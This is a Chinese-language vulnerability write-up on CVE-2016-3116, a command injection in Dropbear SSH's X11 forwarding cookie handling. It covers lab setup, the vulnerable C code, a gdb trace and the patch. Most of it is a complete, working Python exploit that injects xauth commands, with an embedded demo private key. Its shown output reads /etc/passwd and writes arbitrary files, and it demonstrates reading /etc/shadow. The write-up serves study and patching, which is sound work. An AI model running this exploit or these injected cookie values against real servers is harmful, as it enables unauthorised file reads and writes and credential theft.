CVE-2016-3116 Dropbear注入漏洞分析

$ cd dropbear-2015.71$ ./configure --prefix=/usr/local/dropbear/ --sysconfdir=/etc/dropbear/$ make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"$ sudo make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install

$ mkdir /etc/dropbear

$ sudo ./dropbear -R -F -E -p 2222

$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island passwd

#> .infoDEBUG:__main__:auth_cookie: '\ninfo'DEBUG:__main__:dummy exec returned: NoneINFO:__main__:Authority file:       /home/island/.XauthorityFile new:             noFile locked:          noNumber of entries:    2Changes honored:      yesChanges made:         noCurrent input:        (stdin):2/usr/bin/xauth: (stdin):1:  bad "add" command line

#> .readfile /etc/passwdDEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'DEBUG:__main__:dummy exec returned: NoneINFO:__main__:root:x:0:0:root:/root:/bin/zshdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologin

#> .writefile /tmp/testfile1 `thisisatestfile`DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'DEBUG:__main__:dummy exec returned: NoneDEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'DEBUG:__main__:dummy exec returned: NoneDEBUG:__main__:/usr/bin/xauth: (stdin):1:  bad "add" command line

$ cat /tmp/testfile1�6550testtest��65500`thisisatestfile`��65500sssss�%

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* #!/usr/bin/env python# -*- coding: UTF-8 -*-# Author : <github.com/tintinweb>################################################################################# FOR DEMONSTRATION PURPOSES ONLY!################################################################################import loggingimport StringIOimport sysimport osLOGGER = logging.getLogger(__name__)try:    import paramikoexcept ImportError, ie:    logging.exception(ie)    logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")    sys.exit(1)class SSHX11fwdExploit(object):    def __init__(self, hostname, username, password, port=22, timeout=0.5,                  pkey=None, pkey_pass=None):        self.ssh = paramiko.SSHClient()        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())        if pkey:            pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass)        self.ssh.connect(hostname=hostname, port=port,                          username=username, password=password,                          timeout=timeout, banner_timeout=timeout,                         look_for_keys=False, pkey=pkey)    def exploit(self, cmd="xxxx\n?\nsource /etc/passwd\n"):        transport = self.ssh.get_transport()        session = transport.open_session()        LOGGER.debug("auth_cookie: %s"%repr(cmd))        session.request_x11(auth_cookie=cmd)        LOGGER.debug("dummy exec returned: %s"%session.exec_command(""))        transport.accept(0.5)        session.recv_exit_status()  # block until exit code is ready        stdout, stderr = [],[]        while session.recv_ready():            stdout.append(session.recv(4096))        while session.recv_stderr_ready():            stderr.append(session.recv_stderr(4096))        session.close()        return ''.join(stdout)+''.join(stderr)              # catch stdout, stderr    def exploit_fwd_readfile(self, path):        data = self.exploit("xxxx\nsource %s\n"%path)        if "unable to open file" in data:            raise IOError(data)        ret = []        for line in data.split('\n'):            st = line.split('unknown command "',1)            if len(st)==2:                ret.append(st[1].strip(' "'))        return '\n'.join(ret)    def exploit_fwd_write_(self, path, data):        '''        adds display with protocolname containing userdata. badchars=<space>        '''        dummy_dispname = "127.0.0.250:65500"        ret = self.exploit('\nadd %s %s aa'%(dummy_dispname, data))        if ret.count('bad "add" command line')>1:            raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data))        LOGGER.debug(self.exploit('\nextract %s %s'%(path,dummy_dispname)))        return pathdemo_authorized_keys = '''#PUBKEY line - force commands: only allow "whoami"#cat /home/user/.ssh/authorized_keyscommand="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydbl***MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box'''    PRIVKEY = """-----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEAtUaWCq7z5CM7wGH1/2XlNVMy7glVgYCVHjf8BUZo+FypdD699SPu06CZ3e0vSUx5KxlQ7vgU6CtH9nQli53oMy225a/RUGEon/axzVtwTpMnVLqnPLEUn9zPaCjwwpg/Brhr5+NHc3bm/u/LHmKrEg6IjyWssE16exuhA3G/Teed+NaNzKR3jVLrmXohc9dp57jYBPLZJ5NSojsd27LjdWnq/PokxwvkQOrOPkhTne+7GRtsU68nW5a99jMSb4bpgqsUsIY0IIsKc1nfzUxonvcXmh+RASIffLCzA0OdQyJ7UrPhTLw8dVOK2e9zsJYlOYUA6G3rnzq9sNmqe7XdeQIDAQABAoIBAHu5M4sTIc8h5RRHSBkKuMgOgwJISJ3c3uoDF/WZuudYhyeZ8xivb7/tK1d3HQEQOtsZqk2P8OUNNU6Ws1F5cxQLLXvS5i/QQGP9ghlBQYO/l+aShrY7vnHlyYGz/68xLkMt+CgKzaeXDc4OaDnS6iOm27mn4xdpqiEAGIM7TXCjcPSQ4l8YPxaj84rHBcD4w033Sdzc7i73UUneeuQL7bBz5xNibOIFPY3h4q6fbw4bJtPBzAB8c7/qYhJ5P3czGxtqhSqQRogK8T6TA7fGezF90krTGOAz5zJGV+F7+q0L9pIR+uOg+OBFBBmgM5sKRNl8pyrBq/957JaArhSB0QECgYEA1604IXr4CzAa7tKj+FqNdNJI6jEfp99EE8OIHUExTs57SaouSjheDDpBRSTX96+EpRnUSbJFnXZn1S9cZfT8i80kSoM1xvHgjwMNqhBTo+sYWVQrfBmjbDVVbTozREaMQezgHl+Tn6G1OuDz5nEnu+7gm1Ud07BFLqi8Ssbhu2kCgYEA1yrcKPIAIVPZfALngqT6fpX6P7zHWdOO/Uw+PoDCJtI2qljpXHXrcI4ZlOjBp1fcpBC92Q0TNUfra8m3LGbWfqM23gTaqLmVSZSmcM8OVuKuJ38wcMcNG+7DevGYuELXbOgYnimhjY+3+SXFWIHAtkJKAwZbPO7p857nMcbBH5ECgYBnCdx9MlB6l9rmKkAoEKrwGt629A0ZmHLftlS7FUBHVCJWiTVgRBm6YcJ5FCcRsAsBDZv8MW1M0xq8IMpV83sMF0+1QYZZq4kLCfxnOTGcaF7TnoC/40fOFJThgCKqBcJQZKiWGjde1lTM8lfTyk+fW3p2+20qi1Yh+n8qgmWpsQKBgQCESNF6Su5Rjx+S4qY65/spgEOOlB1r2Gl8yTcrbjXvcCYzrN4r/kN1u6d2qXMF0zrPk4tkumkoxMK0ThvTrJYK3YWKEinsucxSpJV/nY0PVeYEWmoJrBcfKTf9ijN+dXnEdx1LgATW55kQEGy38W3tn+uo2GuXlrs3EGbLb4qkQQKBgF2XUv9umKYiwwhBPneEhTplQgDcVpWdxkO4sZdzww+y4SHifxVRzNmXAo8bTPte9nDf+PhgPiWIktaBARZVM2C2yrKHETDqCfme5WQKzC8c9vSf91DSJ4aVpryt5Ae9gUOCx+d7W2EU7RIn9p6YDopZSeDuU395nxisfyR1bjlv-----END RSA PRIVATE KEY-----"""if __name__=="__main__":    logging.basicConfig(loglevel=logging.DEBUG)    LOGGER.setLevel(logging.DEBUG)    if not len(sys.argv)>4:        print """ Usage: <host> <port> <username> <password or path_to_privkey>        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key"""        sys.exit(1)    hostname, port, username, password = sys.argv[1:]    port = int(port)    pkey = None    if os.path.isfile(password):        password = None        with open(password,'r') as f:            pkey = f.read()    elif password==".demoprivkey":        pkey = PRIVKEY        password = None        LOGGER.info("add this line to your authorized_keys file: \n%s"%demo_authorized_keys)    LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port))    ex = SSHX11fwdExploit(hostname, port=port,                          username=username, password=password,                          pkey=pkey,                          timeout=10                          )    LOGGER.info("connected!")    LOGGER.info ("""Available commands:    .info    .readfile <path>    .writefile <path> <data>    .exit .quit    <any xauth command or type help>""")    while True:        cmd = raw_input("#> ").strip()        if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"):            break        elif cmd.lower().startswith(".info"):            LOGGER.info(ex.exploit("\ninfo"))        elif cmd.lower().startswith(".readfile"):             LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1]))        elif cmd.lower().startswith(".writefile"):            parts = cmd.split(" ")            LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:])))        else:            LOGGER.info(ex.exploit('\n%s'%cmd))# just playing around       #print ex.exploit_fwd_readfile("/etc/passwd")    #print ex.exploit("\ninfo")    #print ex.exploit("\ngenerate <ip>:600<port> .")                # generate <ip>:port  port=port+6000    #print ex.exploit("\nlist")    #print ex.exploit("\nnlist")    #print ex.exploit('\nadd xx xx "\n')    #print ex.exploit('\ngenerate :0 . data "')    #print ex.exploit('\n?\n')    #print ex.exploit_fwd_readfile("/etc/passwd")    #print ex.exploit_fwd_write_("/tmp/somefile", data="`whoami`")    LOGGER.info("--quit--")
*/

/* called as a request for a session channel, sets up listening X11 *//* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */int x11req(struct ChanSess * chansess) {    .....    chansess->x11singleconn = buf_getbool(ses.payload);chansess->x11authprot = buf_getstring(ses.payload, NULL);chansess->x11authcookie = buf_getstring(ses.payload, NULL);chansess->x11screennum = buf_getint(ses.payload);    .....}

#ifndef XAUTH_COMMAND#define XAUTH_COMMAND "/usr/bin/xauth -q"#endif/* This is called after switching to the user, and sets up the xauth * and environment variables.  */void x11setauth(struct ChanSess *chansess) {...../* popen is a nice function - code is strongly based on OpenSSH's */authprog = popen(XAUTH_COMMAND, "w");if (authprog) {fprintf(authprog, "add %s %s %s\n",display, chansess->x11authprot, chansess->x11authcookie);pclose(authprog);} else {fprintf(stderr, "Failed to run %s\n", AUTH_COMMAND);}.....}

info - 泄漏一些路径信息$ xauth infoAuthority file:       /home/island/.XauthorityFile new:             noFile locked:          noNumber of entries:    6Changes honored:      yesChanges made:         noCurrent input:        (argv):1source - 任意文件读 (在第一个空格处截断)# xauth source /etc/shadowxauth:  file /root/.Xauthority does not existxauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"extract  - 任意文件写  对特定字符有先知         写入的文件是xauth.db格式         可以与`xauth add`命令结合，而将文件写在任意路径下 generate - 连接 <ip>:<port>  可用于端口检测

$ sudo gdb-multiarch dropbeargef➤  set args -R -F -E -p 2222gef➤  b x11reqBreakpoint 1 at 0x41357fgef➤  b x11setauthBreakpoint 2 at 0x413732gef➤  set follow-fork-mode childgef➤  rStarting program: /home/island/work/soft/dropbear-2015.71/dropbear -R -F -E -p 2222[39700] Oct 24 10:23:47 Not backgrounding

$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island pwsswd#> .readfile /etc/passwd

gef➤  x /s $rax                                            0x637f40:       "xxxx\nsource /etc/passwd\n"

gef➤  b popenBreakpoint 4 at 0x7ffff7427600: file iopopen.c, line 273.gef➤  cContinuing.Thread 4.1 "dropbear" hit Breakpoint 4, _IO_new_popen (command=0x422947 "/usr/bin/xauth -q", mode=0x4208ca "w") at iopopen.c:273

/* called as a request for a session channel, sets up listening X11 *//* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */int x11req(struct ChanSess * chansess) {.....chansess->x11singleconn = buf_getbool(ses.payload);chansess->x11authprot = buf_getstring(ses.payload, NULL);chansess->x11authcookie = buf_getstring(ses.payload, NULL);chansess->x11screennum = buf_getint(ses.payload);if (xauth_valid_string(chansess->x11authprot) == DROPBEAR_FAILURE ||xauth_valid_string(chansess->x11authcookie) == DROPBEAR_FAILURE) {dropbear_log(LOG_WARNING, "Bad xauth request");goto fail;}    fd = socket(PF_INET, SOCK_STREAM, 0);if (fd < 0) {goto fail;}.....}

/* called as a request for a session channel, sets up listening X11 *//* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */int x11req(struct ChanSess * chansess) {    .....    chansess->x11singleconn = buf_getbool(ses.payload);chansess->x11authprot = buf_getstring(ses.payload, NULL);chansess->x11authcookie = buf_getstring(ses.payload, NULL);chansess->x11screennum = buf_getint(ses.payload);    fd = socket(PF_INET, SOCK_STREAM, 0);if (fd < 0) {goto fail;}    .....}

/* Check untrusted xauth strings for metacharacters *//* Returns DROPBEAR_SUCCESS/DROPBEAR_FAILURE */static intxauth_valid_string(const char *s){size_t i;for (i = 0; s[i] != '\0'; i++) {if (!isalnum(s[i]) &&    s[i] != '.' && s[i] != ':' && s[i] != '/' &&    s[i] != '-' && s[i] != '_') {return DROPBEAR_FAILURE;}}return DROPBEAR_SUCCESS;}